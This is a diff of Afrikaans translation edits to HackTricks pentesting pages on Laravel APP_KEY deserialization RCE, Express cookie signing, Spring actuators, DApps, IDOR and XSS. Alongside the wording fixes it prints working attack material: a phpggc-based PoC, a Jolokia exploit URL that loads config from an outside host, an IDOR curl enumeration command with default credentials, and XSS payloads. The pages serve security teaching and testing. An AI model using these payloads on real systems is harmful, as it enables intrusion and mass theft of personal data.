-`encrypt($value, $serialize=true)` sal standaard die `serialize()` die platte teks, terwyl `decrypt($payload, $unserialize=true)` **automaties `unserialize()`** die gedekripteerde waarde. Daarom **kan enige aanvaller wat die 32-byte geheim `APP_KEY` ken, 'n versleutelde PHP-serialiseerde objek saamstel en RCE verkry via magiese metodes (`__wakeup`, `__destruct`, …)**.
+`encrypt($value, $serialize=true)` sal standaard die plaintext `serialize()`, terwyl `decrypt($payload, $unserialize=true)` **automaties `unserialize()`** die gedekripteerde waarde. Daarom **kan enige aanvaller wat die 32-byte geheim `APP_KEY` ken, 'n versleutelde PHP-serialiseerde objek saamstel en RCE verkry via magiese metodes (`__wakeup`, `__destruct`, …)**.

-Minimale PoC (raamwerk ≥9.x):
+Minimal PoC (framework ≥9.x):
 ```php
 use Illuminate\Support\Facades\Crypt;

 $chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
 $evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste
 ```
-Inject die geproduseerde string in enige kwesbare `decrypt()` sink (roete parameter, koekie, sessie, …).
+Inject die geproduseerde string in enige kwesbare `decrypt()` sink (roete param, koekie, sessie, …).

 ---

@ -239,7 +236,7 @@ Die skripte ondersteun deursigtig beide CBC en GCM payloads en hergenerer die HM
 | Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` koekie wanneer `Passport::withCookieSerialization()` geaktiveer is | Laravel/RCE9 |
 | Crater  (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` koekie | Laravel/RCE15 |

-Die uitbuiting werkstroom is altyd:
+Die uitbuiting werkvloei is altyd:
 1. Verkry `APP_KEY` (standaard voorbeelde, Git lek, config/.env lek, of brute-force)
 2. Genereer gadget met **PHPGGC**
 3. `laravel_crypto_killer.py encrypt …`
@ -252,12 +249,12 @@ Die uitbuiting werkstroom is altyd:
 Omdat elke vars Laravel antwoord ten minste 1 versleutelde koekie stel (`XSRF-TOKEN` en gewoonlik `laravel_session`), **publieke internet skandeerders (Shodan, Censys, …) lek miljoene ciphertexts** wat offline aangeval kan word.

 Belangrike bevindings van die navorsing gepubliseer deur Synacktiv (2024-2025):
-* Dataset Julie 2024 » 580 k tokens, **3.99 % sleutels gebroke** (≈23 k)
-* Dataset Mei 2025 » 625 k tokens, **3.56 % sleutels gebroke**
+* Dataset Julie 2024 » 580 k tokens, **3.99 % sleutels gekraak** (≈23 k)
+* Dataset Mei 2025 » 625 k tokens, **3.56 % sleutels gekraak**
 * >1 000 bedieners steeds kwesbaar vir erflating CVE-2018-15133 omdat tokens direk geserialiseerde data bevat.
 * Groot sleutel hergebruik – die Top-10 APP_KEYs is hard-gecodeerde standaarde wat saam met kommersiële Laravel sjablone gestuur word (UltimatePOS, Invoice Ninja, XPanel, …).

-Die private Go gereedskap **nounours** druk AES-CBC/GCM bruteforce deurset na ~1.5 miljard pogings/s, wat die volledige dataset krak tot <2 minute verminder.
+Die private Go gereedskap **nounours** druk AES-CBC/GCM bruteforce deurset na ~1.5 miljard pogings/s, wat die volledige dataset kraken tot <2 minute verminder.

 ---

--- a/src/network-services-pentesting/pentesting-web/nodejs-express.md
+++ b/src/network-services-pentesting/pentesting-web/nodejs-express.md
@ -1,6 +1,6 @@
 # NodeJS Express

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

 ## Koekie Handtekening

@ -18,7 +18,7 @@ cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.
 ```bash
 cookie-monster -b -f cookies.json
 ```
-### Toets verskeie koekies met behulp van batchmodus met 'n pasgemaakte woordlys
+### Toets verskeie koekies met batchmodus met 'n pasgemaakte woordlys
 ```bash
 cookie-monster -b -f cookies.json -w custom.lst
 ```
@ -28,4 +28,4 @@ As jy die geheim ken, kan jy die koekie teken.
 ```bash
 cookie-monster -e -f new_cookie.json -k secret
 ```
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/network-services-pentesting/pentesting-web/spring-actuators.md
+++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md
@ -22,7 +22,7 @@
 ### **Exploitation Techniques:**

 1. **Remote Code Execution via '/jolokia'**:
- Die `/jolokia` actuator eindpunt blootstel die Jolokia Biblioteek, wat HTTP-toegang tot MBeans toelaat.
+- Die `/jolokia` actuator eindpunt stel die Jolokia Biblioteek bloot, wat HTTP-toegang tot MBeans toelaat.
 - Die `reloadByURL` aksie kan uitgebuit word om logging konfigurasies vanaf 'n eksterne URL te herlaai, wat kan lei tot blinde XXE of Remote Code Execution via vervaardigde XML konfigurasies.
 - Voorbeeld van 'n uitbuit-URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
 2. **Config Modification via '/env'**:
@ -62,8 +62,3 @@ Host: target.com
 Connection: close
 ```
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
-{{#include /banners/hacktricks-training.md}}
--- a/src/pentesting-web/dapps-DecentralizedApplications.md
+++ b/src/pentesting-web/dapps-DecentralizedApplications.md
@ -1,10 +1,10 @@
 # DApps - Gedesentraliseerde Toepassings

-{{#include ../../banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}

 ## Wat is 'n DApp?

-'n DApp is 'n gedesentraliseerde toepassing wat op 'n peer-to-peer netwerk loop, eerder as om op 'n gesentraliseerde bediener gehos te wees. DApps is tipies gebou op **blockchain tegnologie**, wat moet toelaat dat daar deursigtigheid, sekuriteit en onveranderlikheid van data is.
+'n DApp is 'n gedesentraliseerde toepassing wat op 'n peer-to-peer netwerk loop, eerder as om op 'n gesentraliseerde bediener gehos te word. DApps is tipies gebou op **blockchain tegnologie**, wat moet toelaat dat daar deursigtigheid, sekuriteit en onveranderlikheid van data is.

 ## Web3 DApp Argitektuur

@ -12,19 +12,19 @@ Volgens [**hierdie pos**](https://www.certik.com/resources/blog/web2-meets-web3-

 ### "API-loos" DApps

-Hierdie DApps is gebou bo-op 'n blockchain en staatmaak nie op enige gesentraliseerde API's of agtergrond nie. Jy kan dink dat die blockchain die werklike agtergrond van die toepassing is. Hulle is **volledig gedesentraliseerd** en kan direk deur die blockchain toegang verkry.
+Hierdie DApps is gebou op 'n blockchain en staat nie op enige gesentraliseerde API's of agtergrond nie. Jy kan dink dat die blockchain die werklike agtergrond van die toepassing is. Hulle is **volledig gedesentraliseerd** en kan direk deur die blockchain toegang verkry.

 Om met die blockchain te kommunikeer, sal die kliënt gewoonlik 'n **wallet** gebruik. Die wallet sal die transaksies teken en dit na die blockchain stuur. Die kliënt kan ook 'n **node** gebruik om data van die blockchain te lees.

 ### "API-Gemagtigde" DApps

-Hierdie DApps is gebou bo-op 'n blockchain maar staatmaak ook op gesentraliseerde API's, gewoonlik om inligting te versamel. Hulle is **meestal gedesentraliseerd** omdat selfs al staatmaak hulle op 'n gesentraliseerde API, die kernfunksionaliteit van die DApp steeds op die blockchain is. Die kommunikasie van die kliënt met die blockchain word gewoonlik deur 'n **wallet** gedoen.
+Hierdie DApps is gebou op 'n blockchain maar staat ook op gesentraliseerde API's, gewoonlik om inligting te versamel. Hulle is **meestal gedesentraliseerd** omdat selfs al staat hulle op 'n gesentraliseerde API, die kernfunksionaliteit van die DApp steeds op die blockchain is. Die kommunikasie van die kliënt met die blockchain word gewoonlik deur 'n **wallet** gedoen.

 'n Goeie voorbeeld van hierdie tipe DApp is 'n **NFT minting toepassing**. Die bediener laat toe om die beelde op te laai, maar die minting word deur die kliënt deur 'n wallet gedoen.

 ### "Volle Skaal" DApps

-Hierdie DApps is gebou bo-op 'n blockchain maar staatmaak ook op gesentraliseerde API's en agtergrond bedieners. Hulle **kan gedeeltelik gedesentraliseerd wees** aangesien die kliënt dalk in staat is om operasies op die blockchain uit te voer met 'n wallet. Tog, gewoonlik kan die **agtergrond ook operasies op die blockchain uitvoer**.
+Hierdie DApps is gebou op 'n blockchain maar staat ook op gesentraliseerde API's en agtergrond bedieners. Hulle **kan gedeeltelik gedesentraliseerd wees** aangesien die kliënt dalk in staat is om operasies op die blockchain uit te voer met 'n wallet. Tog, gewoonlik kan die **agtergrond ook operasies op die blockchain uitvoer**.

 'n Goeie voorbeeld van hierdie tipe DApp is 'n kruis-ketting brug waar 'n offchain komponent nodig is om **met beide slim kontrakte in verskillende blockchains te kommunikeer** om die oordrag van bates uit te voer.

@ -34,17 +34,17 @@ Web2 kwesbaarhede beïnvloed steeds hierdie soort toepassings al kan hul impak v

 - **Kliënt kant kwesbaarhede** het 'n verhoogde impak aangesien in die Web3 DApps die kliënt gewoonlik die een is wat **die operasies op die blockchain uitvoer** deur 'n wallet. Dit beteken dat aanvalle soos XSS wat daarin slaag om JS kode aan die kliënt kant uit te voer of wat met die inhoud van die bladsy tamper, 'n groter impak kan hê aangesien hulle kan **interaksie hê met die wallet** en die gebruiker kan oortuig om ongewenste operasies op die blockchain uit te voer.
 - Let daarop dat gewoonlik selfs in hierdie soort toepassings die kliënt steeds die operasies kan hersien voordat hulle dit met die wallet teken. As die aanvaller egter in staat is om met die inhoud van die bladsy te tamper, kan dit die gebruiker oortuig om 'n transaksie te teken wat 'n ongewenste operasie op die blockchain sal uitvoer.
- **Bediener kant kwesbaarhede** is steeds teenwoordig in die DApps wat op 'n agtergrond bediener staatmaak. Die impak van hierdie kwesbaarhede sal afhang van die argitektuur van die DApp. Tog, hulle kan steeds baie problematies wees aangesien 'n aanvaller dalk in die agtergrond **sleutels van die maatskappy** kan vind om toegang tot die fondse van slim kontrakte te verkry, of kan rekening oorname uitvoer wat hulle in staat kan stel om fondse of NFTs van die gebruikers te steel.
+- **Bediener kant kwesbaarhede** is steeds teenwoordig in die DApps wat op 'n agtergrond bediener staat. Die impak van hierdie kwesbaarhede sal afhang van die argitektuur van die DApp. Dit kan egter steeds baie problematies wees aangesien 'n aanvaller dalk in die agtergrond **sleutels van die maatskappy** kan vind om toegang tot die fondse van slim kontrakte te verkry, of kan rekening oorname uitvoer wat hulle in staat stel om fondse of NFTs van die gebruikers te steel.

 Natuurlik, as die DApp nie 'n agtergrond gebruik nie of die agtergrond wat gebruik word slegs openbare kettingdata of statiese bladsye bied, word die aanvaloppervlak van die DApp verminder.

 ## Web3 aanvaloppervlak

-Selfs al het 'n DApp in die algemeen 'n verminderde aanvaloppervlak aangesien verskeie sekuriteitskontroles altyd op die blockchain gedoen word, is daar steeds 'n paar aanvalsvectors wat deur 'n aanvaller uitgebuit kan word.
+Alhoewel 'n DApp in die algemeen 'n verminderde aanvaloppervlak het aangesien verskeie sekuriteitskontroles altyd op die blockchain gedoen word, is daar steeds 'n paar aanvalsvectors wat deur 'n aanvaller uitgebuit kan word.

 Dit mag moontlik wees om web3 DApps kwesbaarhede in die volgende kategorieë te groepeer:

- **Sleg hanteerde On-Chain Transaksies**: verkeerd geformateerde of onbeperkte transaksie API's, gebrek aan respons-wag en blok-bevestiging logika, blootstelling van sensitiewe data, en onvanpaste hantering van mislukte, teruggetrokke, of intern-ge tipeerde transaksies wat kwaadwillige calldata-inspuitings toelaat.
+- **Sleg hanteerde On-Chain Transaksies**: verkeerd geformateerde of onbeperkte transaksie API's, gebrek aan antwoord-wag en blok-bevestiging logika, blootstelling van sensitiewe data, en onvanpaste hantering van mislukte, teruggetrokke, of intern-ge tipeerde transaksies wat kwaadwillige calldata-inspuitings toelaat.

 - **Slim-Kontrak-gedrewe Agtergrond Aanvalle**: stoor of sink sensitiewe data tussen kontrakte en databasisse sonder validasie, ongekontroleerde gebeurtenis-emissies of kontrak adresse, en uitbuitbare kontrak kwesbaarhede wat agtergrond logika kan vergiftig.

@ -62,19 +62,19 @@ In die scenario **`Swak Transaksie Tyd Hantering Lei tot DoS`**, word verduideli

 ### Agtergrond<-->Blockchain desinkronisasie - Wedlooptoestand

-In die scenario **`Swak Transaksie Tyd Hantering Lei tot Wedlooptoestand`**, word verduidelik dat dit in 'n speletjie moontlik was vir die gebruiker om 'n onttrekkingsversoek na die agtergrond te stuur wat die gebruiker sy munte sal stuur, maar terwyl die transaksie steeds verwerk is, kon die gebruiker daardie munte gebruik om items in die speletjie aan te koop, en dit gratis kry.
+In die scenario **`Swak Transaksie Tyd Hantering Lei tot Wedlooptoestand`**, word verduidelik dat in 'n speletjie dit moontlik was vir die gebruiker om 'n onttrekkingsversoek na die agtergrond te stuur wat die gebruiker sy munte sal stuur, maar terwyl die transaksie steeds verwerk is, kon die gebruiker daardie munte gebruik om items in die speletjie aan te koop, en dit gratis kry.

-'n Ander voorbeeld kan wees om in staat te wees om dieselfde munte te gebruik om verskillende items aan te koop aangesien die agtergrond onmiddellik die item aan die gebruiker gee sonder om te wag vir die transaksie om bevestig te word en dus te wag vir die gebruiker se balans in die blockchain om verminder te word.
+'n Ander voorbeeld kan wees om dieselfde munte te gebruik om verskillende items aan te koop aangesien die agtergrond onmiddellik die item aan die gebruiker gee sonder om te wag vir die transaksie om bevestig te word en dus te wag vir die gebruiker se balans in die blockchain om verminder te word.

 ### Slim kontrak adres validasie

 In die scenario **`Brug Agtergrond Ontbreek Slim Kontrak Adres Validasie`** word verduidelik hoe die agtergrond die adres van die slim kontrak nagegaan het, sodat dit moontlik was vir 'n aanvaller om 'n vals slim kontrak te ontplooi, fondse daarop te plaas, die transaksie na die agtergrond te stuur en die agtergrond sal dink dat die gebruiker fondse na die werklike slim kontrak gestuur het en die gebruiker die tokens sal gee.

-### Sleg hanteer van Bates Klasse
+### Sleg hanteer van Batesklasse

-In die scenario **`Sleg hanteer van Bates Klasse`**, word verduidelik dat die agtergrond 'n scam NFT in 'n adres met 1 MATIC verwar het, wat die aanvaller in staat gestel het om honderde scam NFTs na die adres te stuur en 1 MATIC van die platform vir elkeen van hulle te kry.
+In die scenario **`Sleg hanteer van Batesklasse`**, word verduidelik dat die agtergrond 'n scam NFT in 'n adres met 1 MATIC verwar het, wat die aanvaller in staat gestel het om honderde scam NFTs na die adres te stuur en 1 MATIC van die platform vir elkeen van hulle te kry.

 ## Verwysings
 - [https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications)

-{{#include ../../banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md
@ -42,9 +42,7 @@ if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\
 ## References

 - [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
+```

+```
 {{#include ../../banners/hacktricks-training.md}}
-```
-
-```
-{{#include /banners/hacktricks-training.md}}
--- a/src/pentesting-web/idor.md
+++ b/src/pentesting-web/idor.md
@ -16,7 +16,7 @@ Suksesvolle uitbuiting laat normaalweg horisontale of vertikale voorregverhoging
 2. Verkies eindpunte wat **data lees of opdateer** (`GET`, `PUT`, `PATCH`, `DELETE`).
 3. Let op wanneer identifiseerders **sekwensieel of voorspelbaar** is – as jou ID `64185742` is, bestaan `64185741` waarskynlik.
 4. Verken verborge of alternatiewe vloei (bv. *"Paradox spanlede"* skakel in aanmeldbladsye) wat ekstra API's mag blootstel.
-5. Gebruik 'n **geverifieerde lae-voorreg sessie** en verander net die ID **terwyl jy dieselfde token/koekie hou**. Die afwesigheid van 'n owerheidsfout is gewoonlik 'n teken van IDOR.
+5. Gebruik 'n **geverifieerde lae-voorreg sessie** en verander slegs die ID **terwyl jy dieselfde token/koekie hou**. Die afwesigheid van 'n owerheidsfout is gewoonlik 'n teken van IDOR.

 ### Vinige handmatige tampering (Burp Repeater)
 ```
@ -43,7 +43,7 @@ Tydens 'n assessering van die Paradox.ai-gedrewe **McHire** werwingsportaal is d

 * Eindpunt: `PUT /api/lead/cem-xhr`
 * Owerheid: gebruikersessie koekie vir **enige** restaurant toetsrekening
-* Liggaam parameter: `{"lead_id": N}` – 8-syfer, **sekwensiële** numeriese identifiseerder
+* Liggaam parameter: `{"lead_id": N}` – 8-syfer, **volgorde** numeriese identifiseerder

 Deur `lead_id` te verlaag, het die toetsers willekeurige aansoekers se **volledige PII** (naam, e-pos, telefoon, adres, skofvoorkeure) plus 'n verbruiker **JWT** wat sessie-hijacking toegelaat het, verkry. Opname van die reeks `1 – 64,185,742` het ongeveer **64 miljoen** rekords blootgestel.

@ -53,22 +53,22 @@ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
 -H 'Content-Type: application/json' \
 -d '{"lead_id":64185741}'
 ```
-Gekombineer met **standaard admin akrediteerbesonderhede** (`123456:123456`) wat toegang tot die toetsrekening verleen het, het die kwesbaarheid gelei tot 'n kritieke, maatskappy-wye datalek.
+Gekombineer met **default admin credentials** (`123456:123456`) wat toegang tot die toetsrekening verleen het, het die kwesbaarheid gelei tot 'n kritieke, maatskappy-wye datalek.

 ---
 ## 3. Impak van IDOR / BOLA
 * Horisontale eskalasie – lees/werk by/verwyder **ander gebruikers'** data.
-* Vertikale eskalasie – lae geprivilegieerde gebruiker verkry admin-slegs funksionaliteit.
-* Massadatalek as identifiseerders opeenvolgend is (bv. aansoeker ID's, fakture).
-* Rekening oorname deur die steel van tokens of die reset van wagwoorde van ander gebruikers.
+* Vertikale eskalasie – lae-bevoegde gebruiker verkry admin-slegs funksionaliteit.
+* Massadatalek as identifiseerders opeenvolgend is (bv. aansoeker-ID's, fakture).
+* Rekening oorname deur tokens te steel of wagwoorde van ander gebruikers te reset.

 ---
 ## 4. Versagtings & Beste Praktyke
-1. **Handhaaf objekvlak outorisering** op elke versoek (`user_id == session.user`).
-2. Verkies **indirekte, onvoorspelbare identifiseerders** (UUIDv4, ULID) in plaas van outo-toegevoegde ID's.
-3. Voer outorisering **bediener-kant** uit, moenie ooit op versteekte vormvelde of UI-beheer staatmaak nie.
+1. **Handhaaf objekvlak outorisasie** op elke versoek (`user_id == session.user`).
+2. Verkies **indirekte, onraai-bare identifiseerders** (UUIDv4, ULID) in plaas van outo-toegevoegde ID's.
+3. Voer outorisasie **bediener-kant** uit, moenie op versteekte vormvelde of UI-beheer staatmaak nie.
 4. Implementeer **RBAC / ABAC** kontroles in 'n sentrale middleware.
-5. Voeg **spoedbeperking & logging** by om die opsporing van ID's te detecteer.
+5. Voeg **spoedbeperking & logging** by om opsporing van ID's te detecteer.
 6. Sekuriteitstoets elke nuwe eindpunt (eenheid, integrasie, en DAST).

 ---
@ -77,10 +77,8 @@ Gekombineer met **standaard admin akrediteerbesonderhede** (`123456:123456`) wat
 * **OWASP ZAP**: Auth Matrix, Forced Browse.
 * **Github projekte**: `bwapp-idor-scanner`, `Blindy` (grootmaat IDOR jag).

-{{#include ../banners/hacktricks-training.md}}
-
 ## Verwysings
-* [McHire Chatbot Platform: Standaard Akrediteerbesonderhede en IDOR Stel 64M Aansoekers’ PII Bloot](https://ian.sh/mcdonalds)
-* [OWASP Top 10 – Gebroke Toegang Beheer](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
-* [Hoe om Meer IDORs te Vind – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
-{{#include /banners/hacktricks-training.md}}
+* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
+* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
+* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
+{{#include ../banners/hacktricks-training.md}}
--- a/src/pentesting-web/xss-cross-site-scripting/README.md
+++ b/src/pentesting-web/xss-cross-site-scripting/README.md
@ -1,10 +1,10 @@
 # XSS (Cross Site Scripting)

-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

 ## Metodologie

-1. Kontroleer of **enige waarde wat jy beheer** (_parameters_, _pad_, _koptekste_?, _koekies_?) **reflekteer** in die HTML of **gebruik** word deur **JS** kode.
+1. Kontroleer of **enige waarde wat jy beheer** (_parameters_, _pad_, _koptekste_?, _koekies_?) in die HTML **reflekteer** of **gebruik** word deur **JS** kode.
 2. **Vind die konteks** waar dit reflekteer/gebruik word.
 3. As dit **reflekteer**
 1. Kontroleer **watter simbole jy kan gebruik** en berei die payload voor, afhangende daarvan:
@ -12,11 +12,11 @@
 1. Kan jy nuwe HTML-tags skep?
 2. Kan jy gebeurtenisse of eienskappe gebruik wat die `javascript:` protokol ondersteun?
 3. Kan jy beskermings omseil?
-4. Word die HTML-inhoud geïnterpreteer deur enige kliënt-kant JS enjin (_AngularJS_, _VueJS_, _Mavo_...), jy kan 'n [**Kliënt-Kant Sjabloon Inspuiting**](../client-side-template-injection-csti.md) misbruik.
-5. As jy nie HTML-tags kan skep wat JS-kode uitvoer nie, kan jy 'n [**Hangende Merk - HTML sonder skrip inspuiting**](../dangling-markup-html-scriptless-injection/index.html) misbruik?
+4. Word die HTML-inhoud geïnterpreteer deur enige kliënt-kant JS-enjin (_AngularJS_, _VueJS_, _Mavo_...), jy kan 'n [**Kliënt-Kant Sjabloon Inspuiting**](../client-side-template-injection-csti.md) misbruik.
+5. As jy nie HTML-tags kan skep wat JS-kode uitvoer nie, kan jy 'n [**Hangende Merk - HTML skriploos inspuiting**](../dangling-markup-html-scriptless-injection/index.html) misbruik?
 2. Binne 'n **HTML-tag**:
 1. Kan jy na die rauwe HTML-konteks ontsnap?
-2. Kan jy nuwe gebeurtenisse/eigenskappe skep om JS-kode uit te voer?
+2. Kan jy nuwe gebeurtenisse/eienskappe skep om JS-kode uit te voer?
 3. Ondersteun die eienskap waar jy vasgevang is JS-uitvoering?
 4. Kan jy beskermings omseil?
 3. Binne **JavaScript kode**:
@ -37,10 +37,10 @@ debugging-client-side-js.md

 ## Reflekteerde waardes

-Om suksesvol 'n XSS te misbruik, is die eerste ding wat jy moet vind 'n **waarde wat deur jou beheer word en wat reflekteer** in die webblad.
+Om suksesvol 'n XSS te misbruik, is die eerste ding wat jy moet vind 'n **waarde wat deur jou beheer word en wat in die webblad reflekteer**.

 - **Intermediêr reflekteer**: As jy vind dat die waarde van 'n parameter of selfs die pad in die webblad reflekteer, kan jy 'n **Reflekteerde XSS** misbruik.
- **Gestoor en reflekteer**: As jy vind dat 'n waarde wat deur jou beheer word, in die bediener gestoor word en elke keer reflekteer wanneer jy 'n bladsy toegang, kan jy 'n **Gestoor XSS** misbruik.
+- **Gestoor en reflekteer**: As jy vind dat 'n waarde wat deur jou beheer word, op die bediener gestoor word en elke keer reflekteer wanneer jy 'n bladsy toegang, kan jy 'n **Gestoor XSS** misbruik.
 - **Toegang via JS**: As jy vind dat 'n waarde wat deur jou beheer word, met JS toegang verkry word, kan jy 'n **DOM XSS** misbruik.

 ## Konteks
@ -54,12 +54,12 @@ Hou ook in gedagte [Kliënt-Kant Sjabloon Inspuiting](../client-side-template-in

 ### Binne HTML-tags eienskap

-As jou invoer reflekteer binne die waarde van die eienskap van 'n tag, kan jy probeer:
+As jou invoer binne die waarde van die eienskap van 'n tag reflekteer, kan jy probeer:

 1. Om **te ontsnap van die eienskap en van die tag** (dan sal jy in die rauwe HTML wees) en 'n nuwe HTML-tag te skep om te misbruik: `"><img [...]`
-2. As jy **kan ontsnap van die eienskap maar nie van die tag nie** (`>` is gekodeer of verwyder), afhangende van die tag kan jy **'n gebeurtenis skep** wat JS-kode uitvoer: `" autofocus onfocus=alert(1) x="`
-3. As jy **nie kan ontsnap van die eienskap nie** (`"` word gekodeer of verwyder), dan, afhangende van **watter eienskap** jou waarde reflekteer in **of jy die hele waarde of net 'n deel daarvan beheer**, sal jy in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy in staat wees om dit arbitrêre kode te laat uitvoer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
-4. As jou invoer reflekteer binne "**onuitputbare tags**", kan jy die **`accesskey`** truuk probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieurswese nodig hê om dit te misbruik): **`" accesskey="x" onclick="alert(1)" x="`**
+2. As jy **kan ontsnap van die eienskap maar nie van die tag nie** (`>` is geënkodeer of verwyder), afhangende van die tag kan jy **'n gebeurtenis skep** wat JS-kode uitvoer: `" autofocus onfocus=alert(1) x="`
+3. As jy **nie kan ontsnap van die eienskap nie** (`"` is geënkodeer of verwyder), dan, afhangende van **watter eienskap** jou waarde reflekteer, **of jy al die waarde beheer of net 'n deel**, sal jy in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit in staat stel om arbitrêre kode uit te voer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
+4. As jou invoer binne "**onuitputbare tags**" reflekteer, kan jy die **`accesskey`** truuk probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieurswese nodig hê om dit te misbruik): **`" accesskey="x" onclick="alert(1)" x="`**

 Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klasnaam beheer:
 ```html
@ -67,17 +67,17 @@ Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klasnaam beheer:
 <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
 </div>
 ```
-### Binne JavaScript kode
+### Binne JavaScript-kode

 In hierdie geval word jou invoer weerspieël tussen **`<script> [...] </script>`** etikette van 'n HTML-bladsy, binne 'n `.js`-lêer of binne 'n attribuut wat die **`javascript:`** protokol gebruik:

- As dit weerspieël word tussen **`<script> [...] </script>`** etikette, selfs al is jou invoer binne enige soort aanhalings, kan jy probeer om `</script>` in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-etikette sal ontleed** en dan die inhoud, daarom sal dit nie opgemerk dat jou ingevoegde `</script>` etiket binne die HTML-kode is nie.
+- As dit weerspieël word tussen **`<script> [...] </script>`** etikette, selfs al is jou invoer binne enige soort aanhalings, kan jy probeer om `</script>` in te spuit en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-etikette sal ontleed** en dan die inhoud, daarom sal dit nie opgemerk dat jou ingespuite `</script>`-etiket binne die HTML-kode is nie.
 - As dit weerspieël word **binne 'n JS-string** en die laaste truuk werk nie, sal jy moet **uitgaan** van die string, **uitvoer** jou kode en **herbou** die JS-kode (as daar enige fout is, sal dit nie uitgevoer word nie):
 - `'-alert(1)-'`
 - `';-alert(1)//`
 - `\';alert(1)//`
- As dit weerspieël word binne sjabloon letterlik kan jy **JS-uitdrukkings insluit** met die `${ ... }` sintaksis: `` var greetings = `Hello, ${alert(1)}` ``
- **Unicode-kodering** werk om **geldige javascript kode** te skryf:
+- As dit weerspieël word binne sjabloonletterkunde kan jy **JS-uitdrukkings insluit** met die `${ ... }` sintaksis: `` var greetings = `Hello, ${alert(1)}` ``
+- **Unicode-kodering** werk om **geldige javascript-kode** te skryf:
 ```javascript
 alert(1)
 alert(1)
@ -96,11 +96,11 @@ js-hoisting.md

 Verskeie webbladsye het eindpunte wat **die naam van die funksie om uit te voer as parameter aanvaar**. 'n Algemene voorbeeld wat in die natuur gesien kan word, is iets soos: `?callback=callbackFunc`.

-'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee is, probeer om uitgevoer te word, is **om die param waarde te wysig** (byvoorbeeld na 'Vulnerable') en in die konsole na foute te kyk soos:
+'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee is, probeer om uitgevoer te word, is **om die param waarde te verander** (byvoorbeeld na 'Vulnerable') en in die konsole te kyk vir foute soos:

 ![](<../../images/image (711).png>)

-As dit kwesbaar is, kan jy dalk **'n waarskuwing aktiveer** deur net die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie eindpunte **die inhoud sal valideer** om slegs letters, syfers, punte en onderstreepte te laat toe (**`[\w\._]`**).
+As dit kwesbaar is, kan jy dalk **'n waarskuwing aktiveer** deur net die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie eindpunte **die inhoud sal valideer** om slegs letters, syfers, punte en onderstrepings toe te laat (**`[\w\._]`**).

 Tog, selfs met daardie beperking is dit steeds moontlik om 'n paar aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om **enige element in die DOM te benader**:

@ -114,9 +114,9 @@ nextElementSibiling
 lastElementSibiling
 parentElement
 ```
-U kan ook probeer om **Javascript-funksies** direk te **trigger**: `obj.sales.delOrders`.
+U kan ook probeer om **Javascript funksies** direk te **trigger**: `obj.sales.delOrders`.

-E however, gewoonlik is die eindpunte wat die aangeduide funksie uitvoer eindpunte sonder veel interessante DOM, **ander bladsye in die dieselfde oorsprong** sal 'n **meer interessante DOM** hê om meer aksies uit te voer.
+E however, gewoonlik is die eindpunte wat die aangeduide funksie uitvoer eindpunte sonder veel interessante DOM, **ander bladsye in dieselfde oorsprong** sal 'n **meer interessante DOM** hê om meer aksies uit te voer.

 Daarom, om hierdie **kwesbaarheid in 'n ander DOM** te **misbruik**, is die **Same Origin Method Execution (SOME)** uitbuiting ontwikkel:

@ -132,9 +132,9 @@ Daar is **JS kode** wat **onveilig** gebruik maak van **data wat deur 'n aanvall
 dom-xss.md
 {{#endref}}

-### **Universele XSS**
+### **Universal XSS**

